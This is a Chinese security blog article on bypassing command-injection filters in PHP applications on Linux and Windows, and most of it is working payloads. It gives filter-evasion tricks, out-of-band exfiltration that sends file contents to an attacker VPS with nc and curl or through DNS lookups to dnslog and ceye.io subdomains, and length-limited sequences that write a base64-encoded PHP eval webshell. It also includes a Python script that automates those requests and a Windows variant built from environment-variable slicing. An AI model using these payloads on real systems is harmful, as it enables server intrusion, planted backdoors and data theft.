关于命令执行Bypass的一些思路

admin 2022年6月8日01:29:31关于命令执行Bypass的一些思路已关闭评论96 views字数 6435阅读21分27秒阅读模式

作者:掌控安全-xiao_yi

一、常见命令执行的函数

system()

system(string $command, int &$return_var = ?): string

执行系统命令,有回显

passthru()

passthru(string $command, int &$return_var = ?): void

执行系统命令并且显示原始输出

shell_exec()

shell_exec(string $cmd): string)

通过shell环境执行命令,并且将完整的输出以字符串形式返回(无回显)

exec()

exec(string $command, array &$output = ?, int &$return_var = ?): string

执行一个外部程序, 同时无回显,且输出的时候仅返回命令的最后一行

反引号

  1. echo `ls`;

只要在反引号里的字符串都会被当作代码执行,注意如果反引号在单、双引号内则不起作用

回调函数

这类型函数会在代码执行的时候讲到,故这里只说明一点,如果回调函数执行的是上述的执行系统命令的函数,那么回调函数也可以被当成命令执行使用

二、Bypass技巧

(1)针对Linux系统

分隔符

换行符         %0a

回车符         %0d(利用fuzz测试从%00-%ff)

连续指令       ;

后台进程       &                 # java -jar test.jar &  表示进行放到后台执行,无法被ctrl+c杀死

管道符         |           # echo 'ls' | bash

逻辑符         ||  &&          # skjkfj||ls  由于前面命令不存在而为假,转而执行后面的ls

空格代替

<

$IFS

${IFS}

$IFS$(1-9)                                  #从1到9,可以进行fuzz

{cat,flag.txt}

%09 用于url传递,类似于%09代替空格

过滤特定函数(例如cat)

less, tac, more, less, head, tail, nl, od        # 命令代替

ca""t

ca''t

ca``t

ca\t

a=c;b=at;$a$b xxx.php                                                        # 变量拼接

c${u}at                                                                                 # 因为c$uat 系统不知道你要执行的是$u还是$uat,因此加上界定符,命令成功运行

l`$u`s

wh$1oami

who$@ami

whoa$*mi

其他思路

a=l;b=s;$a$b                                                    # 变量拼接

`echo d2hvYW1p | base64 -d`                     # base64编码

substr string pos end                                   # 利用字符串切割得到我们想要的字符,但是这种方法的利用考虑尝试.sh文件,未复现

echo ${PATH:0:1}

echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"

echo "`expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1`"   => $PWD 代表环境变量

expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}14${IFS}1

$u                                                                      # $u在Linux中代表的是空字符串,并不是代表是空格,这里有一些好玩的技巧

c${u}at index$u.php$u

c`$u`at index$u.php$u

对于无回显情况

对于无回显的情况,和sql注入无回显的思路差不多!(所以方法只是其次,主要是思路)

判断思路

  1. 延时                  ls|sleep(3)

  2. HTTP请求          curl

  3. DNS请求               ping

curl进行检测

  1. 有一台可以进行通信的vps

  2. vps 上执行 nc -lvnp 4444

  3. 在目标机器上执行curl vps:4444

  4. 观察vps的连接情况

  5. 若出现返回,则说明这里是存在命令执行的

  6. 或者是编写sh脚本

  7. curl ip/1.sh > /tmp/1.sh

  8. 1.sh里面写

  9. 内容 | nc vps的ip 监听端口

  10. 让受害机器将数据发送给你

dnslog进行检测

  1. 由于域名转换成ip需要经过一次dns解析,所以可以通过dnslog将数据外带出来

  2. 推荐如下两个dnslog地址:

  3. http://dnslog.cn

  4. http://ceye.io/records/dns

注:在实际运用中有如下的局限性

  1. 1、长度的限制,外带的数据不能过长

  2. (解决思路:尝试将结果截断,分批次外带)

  3. 2、外带出来的数据中不能包含空格,很多特殊字符如(;>?<"'),我fuzz到的结果仅可以拼接_

  4. (解决思路:使用Linux的字符替换函数将可能出现的字符替换后再进行外带)

第二条可能是我能力有限,因为我看到网上还是有外带flag的案例,里面就出现了上述不能出现的字符,这个问题还未弄明白,我先把我的思路放在下面,查了一下域名可用字符,合法字符只有中文汉字|_|-这三个

  1. 这里只能讲一下思路,利用sed函数将空格替换成_,也可以替换成NULL

  2. where_is_flag.php的内容是: <?php $flag={xxxxxxxx}?>

  3. 要目标机器去ping `cat where_is_flag.php|sed s/[[:space:]]/_/`.vflkgp.dnslog.cn

  4. sed s/[[:space:]]// 会将cat读取的内容里面的所有空格替换为_

  5. ping -c 4 `cat 1.php|sed s/[[:space:]]/_/|sed s/\</_/|sed s/\?/_/|sed s/\;/_/|sed s/\?/_/|sed s/\>/_/|sed s/\(/_/|sed s/\)/_/`.eugcs.ceye.io

  6. 可以尝试将所有可能出现的字符全部替换一遍

利用思路

  1. 写shell (直接写入/外部下载)

  2. 利用http/dns将数据外带

Bypass命令执行长度限制

思路

  1. wget 远程下载

  2. echo + >写入文件

  3. mv 重命名

  4. w>d\\ 写文件名后再通过 ls -t>0将文件名全部按时间顺序写入到0中 然后sh 0执行脚本,运气不错的话就可以生成马(因为这里在复现的时候出现了很多插曲)

15个字符限制

  1. <?php

  2. highlight_file(__FILE__);

  3. if(strlen($_GET[1])<15)

  4. {

  5.    echo strlen($_GET[1]);

  6.    echo shell_exec($_GET[1]);

  7. }

  8. else

  9. {

  10.    exit("too long");

  11. }

  12. ?>

思路

  1. 1、 通过 wget localhost/a     (只要你的域名够短,不大于8位的域名就可以进行利用)

  2.    再进行重命名 mv a a.php

  3. 2、通过echo写入

  4.    echo \<?php>1

  5.    echo eval\(>>1

  6.    echo \$_GET>>1

  7.    echo \[1\]>>1

  8.    echo \)\;>>1

7个字符限制

  1. <?php

  2. highlight_file(__FILE__);

  3. if(strlen($_GET[1])<8)

  4. {

  5.    echo strlen($_GET[1]);

  6.    echo shell_exec($_GET[1]);

  7. }

  8. else

  9. {

  10.    exit("too long");

  11. }

  12. ?>

思路

这里首先想到wget去远程下载文件,但是发现 wget \a就已经7个字符了,所以这种利用思路在这里就不可行了

然后再想到用echo写入,这里也值得注意的是 echo >>1已经8个字符,远超过了限制

但是秉承上面第二个的思路,那有没有很短的命令也可以进行写入呢?

这里由于思路比较新颖,故而详细的记录一下具体过程

  1. 介绍一下用到的命令:

  2. w>a

  3. 向目录中写入一些数据并生成a文件

  4. ls -t

  5. 按照时间顺序排列当前文件名

  6. sh

  7. 用/bin/bash 执行文件中的命令集合

这里的思路就是将payload分隔成一条条的命令,然后利用 w> 生成文件名为payload的文件集合,利用ls写到一个文件中,再用sh执行分割的命令, 同时为了防止shell中的特殊字符影响,采用base64编码。

具体流程如下:

  1. echo PD9waHAgZXZhbCgkX0dFVFsxXSk7\|base64 -d\>1.php

分解成下面,放到 7byte.txt(尽可能每句话等长度,不然ls -t可能会出现排序错误,同时也要注意特殊字符的影响)

  1. m>hp

  2. m>1.p\\

  3. m>d\>\\

  4. m>\ -\\

  5. m>e64\\

  6. m>bas\\

  7. m>7\|\\

  8. m>XSk\\

  9. m>Fsx\\

  10. m>dFV\\

  11. m>kX0\\

  12. m>bCg\\

  13. m>XZh\\

  14. m>AgZ\\

  15. m>waH\\

  16. m>PD9\\

  17. m>o\ \\

  18. m>ech\\

  19. ls -t>0

  20. sh 0

用下面的脚本一次请求

  1. # coding: utf-8

  2. import time

  3. import requests

  4. url1 = "http://192.168.111.x/demo/rce7.php?1="

  5. with open("7byte.txt", 'r') as f:

  6.    for i in f.readlines():

  7.        url = url1 + i.strip()

  8.        requests.get(url)

  9.        time.sleep(0.2)

  10.        print(f"已经请求{url}")

  11. res = requests.get(url1[:-12]+"/1.php")

  12. if res.status_code == 200:

  13.    print("ok, You have already upload!")

执行成功,成功写了一个shell

  1. 这是sh 执行的文件的内容 \表示命令未结束

  2. 0

  3. ech\

  4. o \

  5. PD9\

  6. waH\

  7. AgZ\

  8. XZh\

  9. bCg\

  10. kX0\

  11. dFV\

  12. Fsx\

  13. XSk\

  14. 7|\

  15. bas\

  16. e64\

  17. -\

  18. d>\

  19. 1.p\

  20. hp

  21. a

  22. 7rce.php

5个字符限制

和7字符思路一致,只是需要思考如何突破 ls -t>z

这里给出如下思路,先生成一个里面存有ls -t>z的文件a,利用sh a产生带有exp的z文件

  1. ls -rt>z

  2. 由于Linux系统中ls默认排序是根据字符顺序排序的,所以拆解命令

  3. >l\\

  4. >s\ \\

  5. >-rt\\

  6. >\>z\\

  7. ls>a

4个字符限制

同样思路也是解决 ls -t>z这个问题,但是如果是四个字符的话,很难找到相应的字母来固定ls执行后的顺序,所以这里有新的知识点

输入通配符*, Linux会把第一个列出来的文件名当作命令,剩下的文件名当作参数

  1. >id

  2. >root

  3. *

  4. uid=0(root) gid=0(root) 组=0(root)

增加字母来限定被用来当作命令和参数的文件

  1. >ls

  2. >lss

  3. >lsss

  4. *s

  5. lss  lsss

rev将输出内容导致, dir将当前文件列出且不换行

  1. >rev

  2. echo 1234 > v

  3. *v (等同于命令:rev v)

  4. ls -t >0

所以我们需要构造的文件名为:0< ht- sl(这里需要用ls 的参数h 将t往前拉),所以最终payload如下:

  1. >dir

  2. >e\>

  3. >ht-

  4. >sl

  5. ls>a

  1. >dir

  2. >f\>

  3. >ht-

  4. >sl

  5. *>v

  6. >rev

  7. *v>0

  8. [root@localhost test]# cat 0

  9. ls  -th  >f

payload如下

  1. >hp

  2. >p\\

  3. >1.\\

  4. >\>\\

  5. >-d\\

  6. >\}\\

  7. >IFS\\

  8. >\{\\

  9. >\$\\

  10. >base64\\

  11. >\|\\

  12. >PD9waHAgZXZhbCgkX0dFVFsxXSk7\\        # 这里是因为我偷懒了,忽略字符长度限制的payload,实际上这里按照思路一个字母一个字母的分割也是没问题的

  13. >echo\ \\

(2)针对Windows系统

主要参考来源:urfyyy师傅的文章

(文章在社区社区的邀请码私我)

社区文章地址:https://bbs.zkaq.cn/t/4557.html

有兴趣的小伙伴可以看下他的文章的原理,我这里仅仅记录总结和复现。

分隔符

这里对分隔符做一些思考,是否像Linux一样存在多种方式进行多行命令执行呢?

  1. 假设执行这两个明明,中间的分隔符fuzz测试:

  2. whoami%7cdir

  3. %7c  ---------- | ---------- 只会执行 后一个命令

  4. %26  ---------- & ---------- 两个命令同时执行

  5. %00  ---------- NULL-------- 执行前一个命令(这里有一个想法就是尝试使用00截断有可能看到函数报错信息)

  6. %0a  ---------- 换行符------- 执行前一个命令

那么这里又引出了思考,是不是只有&&才可以在windows的DOS命令下连续执行多条命令

  1. whoami&&dir&ipconfig

  1. whoami|dir||ipconfig

这里发现 || 是或的意思,前面为真后面就不执行了,且 | 是管道符,前面执行的结果给后一个命令,但是dir命令不需要whoami返回的结果,所以只返回了后面dir执行的结果。

可以用dir /a/b | more这个命令感受一些管道符的魅力

空格替代

这里第一个想到的就是字符截取

  1. set envar=whoami

  2. %envar:~0%     # 取出所有字符

  3. %envar:~0,6%   # 取出从第0个字符开始,取长度为6位的字符,这里由于whoami总共就是6个字符,所以命令成功执行

使用set可以看到有哪些全局变量是我们可以利用的

现在开始着手从环境变量里取出空格

  1. PSModulePath=C:\Program Files\WindowsPowerShell\Modules

  2. net%PSModulePath:~10,1%user

  1. d^i^r%CommonProgramFiles:~10,1%%SystemRoot:~0,3%

利用环境变量在C盘下写一句话,这里需要system权限

  1. echo "<?php @eval($_request[abc]);">123.php

  2. echo "<?php @eval($_post[a]);">123.php

  3. echo%CommonProgramFiles:~10,1%%TJ:~10,1%<%TJ:~-4,1%%TJ:~14,1%%TJ:~15,1%%TJ:~14,1%%CommonProgramFiles:~10,1%%TJ:~8,1%%TJ:~5,1%%TJ:~16,1%%TJ:~0,1%%TJ:~17,1%(%TJ:~7,1%_%TJ:~14,1%%TJ:~-1,1%%TJ:~22,2%[%TJ:~0,1%])%TJ:~11,1%%TJ:~10,1%>%SystemRoot:~0,3%1.%TJ:~14,1%h%TJ:~14,1%

  4. %CommonProgramFiles:~10,1%  空格

  5. %SystemRoot:~0,3%           C:\

  6. %TJ:~10,1%                  "

  7. %TJ:~14,1%                  p

  8. %TJ:~-4,1%                  ?

  9. %TJ:~15,1%                  h

  10. %TJ:~8,1%                   @

  11. %TJ:~5,1%                   e

  12. %TJ:~16,1%                  v

  13. %TJ:~0,1%                   a

  14. %TJ:~17,1%                  l

  15. %TJ:~9,1%                   \

  16. %TJ:~7,1%                   $

  17. %TJ:~-1,1%                  o

  18. %TJ:~22,2%                  st

  19. %TJ:~11,1%                  ;

  20. a bcde/$@\";fgphvlrequst?<po

写入成功但是多了双引号,但是echo的时候不加双引号会爆语法错误

我这里给出下面解决思路:

第一种就是在第一个双引号后添加?>使前者闭合,后面的”之前添加一个# 注释掉

我们可以发现第一个引号可以当作使一个字符串存在,并不影响后面代码的运行只需要注释后面的引号就可以顺利执行

其他无回显和过滤特定函数思路和LInux系统一致

三、总结

bypass主要是知识的积累和对抗,这篇文章如果有新的姿势我会持续的修改和更新,喜欢这篇文章的小伙伴点个赞吧!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月8日01:29:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   关于命令执行Bypass的一些思路http://cn-sec.com/archives/1091635.html